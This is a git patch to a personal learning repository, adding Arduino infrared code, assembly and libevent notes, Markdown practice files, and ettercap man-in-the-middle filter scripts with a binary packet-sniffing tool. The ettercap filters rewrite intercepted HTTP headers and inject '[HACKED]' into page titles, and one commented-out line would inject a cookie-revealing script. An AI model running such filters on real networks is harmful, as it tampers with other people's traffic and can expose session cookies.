From 3332463f9de08d71eb194a714cff851985b89182 Mon Sep 17 00:00:00 2001 From: acevest Date: Sun, 15 Mar 2015 13:06:33 +0800 Subject: [PATCH] ... --- .../IR/InfraredReceiver/InfraredReceiver.ino | 30 +++++++ arduino/Sensors/Sensors.ino | 2 +- learn/asm/basic.txt | 16 ++++ learn/doc/ir.txt | 7 ++ learn/libevent/timer.c | 38 +++++++++ learn/markdown/extra_markdown.md | 64 +++++++++++++++ learn/markdown/index.md | 76 +++++++++++++++++- .../MyPlayground.playground/section-1.swift | 7 +- tools/hack/ettercap/filter.ef | Bin 0 -> 2010 bytes tools/hack/ettercap/normal.filter | 11 ++- tools/hack/ettercap/proxy.normal.filter | 34 ++++++++ tools/hack/netpeeper/netpeeper | Bin 0 -> 12012 bytes 12 files changed, 276 insertions(+), 9 deletions(-) create mode 100644 arduino/IR/InfraredReceiver/InfraredReceiver.ino create mode 100644 learn/asm/basic.txt create mode 100644 learn/doc/ir.txt create mode 100644 learn/libevent/timer.c create mode 100644 learn/markdown/extra_markdown.md create mode 100644 tools/hack/ettercap/filter.ef create mode 100644 tools/hack/ettercap/proxy.normal.filter create mode 100755 tools/hack/netpeeper/netpeeper diff --git a/arduino/IR/InfraredReceiver/InfraredReceiver.ino b/arduino/IR/InfraredReceiver/InfraredReceiver.ino new file mode 100644 index 0000000..231e047 --- /dev/null +++ b/arduino/IR/InfraredReceiver/InfraredReceiver.ino @@ -0,0 +1,30 @@ +//本例来自于红外接收模块的IRremote自带范例 +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * [url]http://arcfn.com[/url] + */ + +#include + +int RECV_PIN = 11;//定义红外接收器的引脚为11 +IRrecv irrecv(RECV_PIN); +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // 初始化红外接收器 +} + +void loop() { + //Serial.println("HAHA"); + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX);//以16进制换行输出接收代码 + Serial.println();//为了便于观看输出结果增加一个空行 + irrecv.resume(); // 接收下一个值 + } +} + diff --git a/arduino/Sensors/Sensors.ino b/arduino/Sensors/Sensors.ino index 5b6791e..10df6a8 100644 --- a/arduino/Sensors/Sensors.ino +++ b/arduino/Sensors/Sensors.ino @@ -18,7 +18,7 @@ void loop() { int hb = analogRead(2); // Human Body - if(hb < 10) + if(hb < 100) { hb = 0; } diff --git a/learn/asm/basic.txt b/learn/asm/basic.txt new file mode 100644 index 0000000..ff46abd --- /dev/null +++ b/learn/asm/basic.txt @@ -0,0 +1,16 @@ + +pushl %eax == subl $4, %esp + movl %eax, (%esp) + + +popl %eax == movl (%esp), %eax + addl $4, %esp + + + +enter pushl %ebp + movl %esp, %ebp + + +leave movl %ebp, %esp + popl %ebp diff --git a/learn/doc/ir.txt b/learn/doc/ir.txt new file mode 100644 index 0000000..924c296 --- /dev/null +++ b/learn/doc/ir.txt @@ -0,0 +1,7 @@ +电扇 IR NEC +807FE01F 风速 +807F32CD 静音 +807FF00F 风类 +807FC03F 开关 +807FD02F 定时 +807FF00F 摇头 diff --git a/learn/libevent/timer.c b/learn/libevent/timer.c new file mode 100644 index 0000000..12a6700 --- /dev/null +++ b/learn/libevent/timer.c @@ -0,0 +1,38 @@ +/* + * ------------------------------------------------------------------------ + * File Name: timer.c + * Author: Zhao Yanbai + * Sat Feb 28 17:03:43 2015 + * Description: none + * ------------------------------------------------------------------------ + */ +#include +#include +#include +#include + +struct event ev; +struct timeval tv; + +unsigned int cnt = 0; + +void time_cb(int fd, short event, void *argc) +{ + printf("timer woke up %u times\n", cnt++); + event_add(&ev, &tv); +} + +int main() +{ + struct event_base *base = event_init(); + + tv.tv_sec = 1; + tv.tv_usec= 0; + + evtimer_set(&ev, time_cb, NULL); + event_add(&ev, &tv); + + event_base_dispatch(base); + + return 0; +} diff --git a/learn/markdown/extra_markdown.md b/learn/markdown/extra_markdown.md new file mode 100644 index 0000000..2280509 --- /dev/null +++ b/learn/markdown/extra_markdown.md @@ -0,0 +1,64 @@ +#Extra MarkDown + +##H1 +xxxx | yyyy +----|---- +1 | 2 +3 |4 + + +You can specify column alignment with one or two colons: + +| Item | Value | Qty | +| :------- | ----: | :---: | +| Computer | $1600 | 5 | +| Phone | $12 | 12 | +| Pipe | $1 | 234 | + + + +### Footnotes + +You can create footnotes like this[^footnote]. + + [^footnote]: Here is the *text* of the **footnote**. + + + + ### MathJax + +You can render *LaTeX* mathematical expressions using **MathJax**, as on [math.stackexchange.com][1]: + +The *Gamma function* satisfying $\Gamma(n) = (n-1)!\quad\forall n\in\mathbb N$ is via the Euler integral + +$$ +\Gamma(z) = \int_0^\infty t^{z-1}e^{-t}dt\,. +$$ + + + +### UML diagrams + +You can also render sequence diagrams like this: + +```sequence +Alice->Bob: Hello Bob, how are you? +Note right of Bob: Bob thinks +Bob-->Alice: I am good thanks! +``` + +And flow charts like this: + +```flow +st=>start: Start +e=>end +op=>operation: My Operation +cond=>condition: Yes or No? + + +st->op->cond +cond(yes)->e +cond(no)->op +``` + + diff --git a/learn/markdown/index.md b/learn/markdown/index.md index 8bd5b3e..49cfd61 100644 --- a/learn/markdown/index.md +++ b/learn/markdown/index.md @@ -5,6 +5,8 @@ ######这是H5##### ######这是H6###### +#也可以这样写标题 + vxcvzdfdsf fsadfasdf sfasdf @@ -20,15 +22,60 @@ sfasdf > dsf > sadfasd +fssdff + + +> This is the first level of quoting. +> +> > This is nested blockquote. +> +> Back to the first level. + + + +> ## 这是一个标题。 +> +> 1. 这是第一行列表项。 +> 2. 这是第二行列表项。 +> +> 给出一些例子代码: +> +> return shell_exec("echo $input | $markdown_script"); 这是一个*强调*示例,这是另一个 _强调_ 示例 这是一个**加重强调**示例 或 __加重强调__ 这是一个***特别强调***示例 或 ___特别强调___ +如果两边都有空格的话 * 就会被当成普通符号 * + 这是个命令示例`echo "Hello World"` 输出什么? +* 列表A 1 +* 列表A 2 +* 列表A 3 + +-- + ++ 列表B 1 ++ 列表B 2 ++ 列表B 3 + +-- +- 列表C 1 +- 列表C 2 +- 列表C 3 + +-- + +1. 列表D 1 +2. 列表D 2 +3. 列表D 3 +4. 列表D 4 +5. 列表D 5 + +1986\. What a great season. ``` #include @@ -38,6 +85,11 @@ int main() { } ``` +如果要在代码区段内插入反引号,你可以用多个反引号来开启和结束代码区段: + +``There is a literal backtick (`) here.`` + + 以下是水平分割线 * * * 或 @@ -48,14 +100,30 @@ int main() { - - - 链接 -[Hello](http://www.qq.com) -or -[Tag][Link] -[Link]: http://www.qq.com "sfasd" +[Hello](http://www.qq.com) +or +[Tag][Link] +[Link]: http://www.qq.com "Optional Title" + +This is [an example](http://example.com/ "Title") inline link. +[This link](http://example.net/) has no title attribute. + + + +I get 10 times more traffic from [Google] [1] than from +[Yahoo] [2] or [MSN] [3]. + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" +I get 10 times more traffic from [Google][] than from +[Yahoo][] or [MSN][]. + [google]: http://google.com/ "Google" + [yahoo]: http://search.yahoo.com/ "Yahoo Search" + [msn]: http://search.msn.com/ "MSN Search" diff --git a/learn/swift/MyPlayground.playground/section-1.swift b/learn/swift/MyPlayground.playground/section-1.swift index 56326af..b9e7e1c 100644 --- a/learn/swift/MyPlayground.playground/section-1.swift +++ b/learn/swift/MyPlayground.playground/section-1.swift @@ -60,7 +60,8 @@ else let word = "red apple" -switch word { -case "dd" : -} +//switch word { +//case "dd" : +//} + diff --git a/tools/hack/ettercap/filter.ef b/tools/hack/ettercap/filter.ef new file mode 100644 index 0000000000000000000000000000000000000000..4ea56e328c6fff026aee6a2122d45cdf277d3042 GIT binary patch literal 2010 zcmbVM%Syvg5WRi*g8HaX-)MJk5*0U6L?~MDL8IVO6eLY;pd<=ex$p~I_y>N1x^*kA zx^(GI7cL5ZgEz^XNJp+|+Rfz5nKNgm$-Q4UtNMn%CVqcKQAkxx)4KGus$;r!+qn=7 z>pTH$xL#A%>te5=8Lne#wR6vGb|X$2E-S4`&xUQ)wPV{cEnnQ72^w^#glxhx;mBp0 z3=@}y5v*1go1X2ptS!Wo-OBbsb?04*xZMb)1g;vT2c)^+|Hpp!%b{&9at<)*C2mK)x#`S>?`<;;vbG8_UKXlmdnurM$C?e)7D0o#Ge$d}i zVO$^Ru-`rDFy|A)@P`ijy%2%(g*qNFU()jqKj_;%`ay^N-k9#4Vaywyx<2o-1vKh0 zMt<@>^M6V2v-uu@XE%E+zh+hdW&xF|T;qxDa{rl0!?b(oDkvJ>y4~S-PZvX%Q literal 0 HcmV?d00001 diff --git a/tools/hack/ettercap/normal.filter b/tools/hack/ettercap/normal.filter index 3434524..f045ff3 100644 --- a/tools/hack/ettercap/normal.filter +++ b/tools/hack/ettercap/normal.filter @@ -1,5 +1,6 @@ if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { + msg("Accept-Encoding.\n"); replace("Accept-Encoding", "Accept-Nothing."); } @@ -10,6 +11,11 @@ if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "If-Modified-Since")) { replace("If-Modified-Since", "No-Modified-Since"); } + + if (search(DATA.data, "Accept: */*")) { + msg("Accept.\n"); + replace("Accept: */*", "Nccept: */*"); + } } if (ip.proto == TCP && tcp.src == 80) { @@ -17,5 +23,8 @@ if (ip.proto == TCP && tcp.src == 80) { } if (ip.proto == TCP && tcp.src == 80) { - replace("", "<title>Hacked"); + if (search(DATA.data, "<title>")) { + replace("<title>", "<title>Hacked"); + msg("Replaced Title.\n"); + } } diff --git a/tools/hack/ettercap/proxy.normal.filter b/tools/hack/ettercap/proxy.normal.filter new file mode 100644 index 0000000..272cfc4 --- /dev/null +++ b/tools/hack/ettercap/proxy.normal.filter @@ -0,0 +1,34 @@ +if (ip.proto == TCP && tcp.dst == 80 || tcp.dst == 8080 ) { + if (search(DATA.data, "Accept-Encoding")) { + msg("Accept-Encoding."); + replace("Accept-Encoding", "Accept-Nothing."); + } + + if (search(DATA.data, "If-None-Match")) { + msg("If-None-Match."); + replace("If-None-Match", "No-None-Match"); + } + + if (search(DATA.data, "If-Modified-Since")) { + msg("If-Modified-Since."); + replace("If-Modified-Since", "No-Modified-Since"); + } + + if (search(DATA.data, "Accept:")) { + msg("Accept."); + replace("Accept:", "Nccept:"); + } +} + +if (ip.proto == TCP && tcp.src == 80 || tcp.src == 8080) { + #replace("keep-alive", "close"); + #if (search(DATA.data, "<title>")) { + replace("<title>", "<title>[HACKED] "); + # msg("Replaced Title."); + #} + #if (search(DATA.data, "<body>")) { + # replace("<body>", "<script>document.write(document.cookie)</script><body>Hacked.<br>"); + # msg("Replaced Body."); + #} +} + diff --git a/tools/hack/netpeeper/netpeeper b/tools/hack/netpeeper/netpeeper new file mode 100755 index 0000000000000000000000000000000000000000..834bed95849fcc6a3590fe757740cf57aab52551 GIT binary patch literal 12012 zcmeHNZERcB89p}&BTYY?j+V6>tOgp?!AMeQM=6xWv;k+Nt=FUsQNoSuIE|@ed-k>Z z0TN~=11syWHnepU)AoZQZR(^9Sc}R>v$bR!+Muf#R19dwfH`Yn?W9#{3-zAo+;i+} zC#_)pu^;o1&N=V%p7-m%_uT7q?(xef-#>l65Jt5SsVX7F1*r9(5@JBOK?yMz)r)GH zKF=+!ceJiqO>Sv1O5vo4b{4>aX?C{W-dQRl_3KM{LSe)v&O=2=vY4h7+-xa;uH0U8 zEiMN9c~n9nuCYnGtr00FG|hyST%Rbg%I*24+xG5I5*llTT4k>oAMKfa!Eh`Xhfuk_ z9m?M0$^bF*UMLgd3nZ*~D6&Bbl-ui`VaJzM<HXMEEwK$5(@aJ-g(5v>DAF61xb%J; zRrXTK9&x!1H6%OJ4ECA5aesf%=9b47bCt$NjJbBk!g;a;H_$X!cse}}G0caOd7|fw zW1i5iwr!e`u$kD>zdjl^V^;i(_Ouz!H?2#ryq^fQP)u_})G_TQ*sF&=<C~*2h|BHG zELh|9h5cuXZ-KJ6S?Lfv?eV#o<*-+LPTSj7-P*dMO+RDqvb+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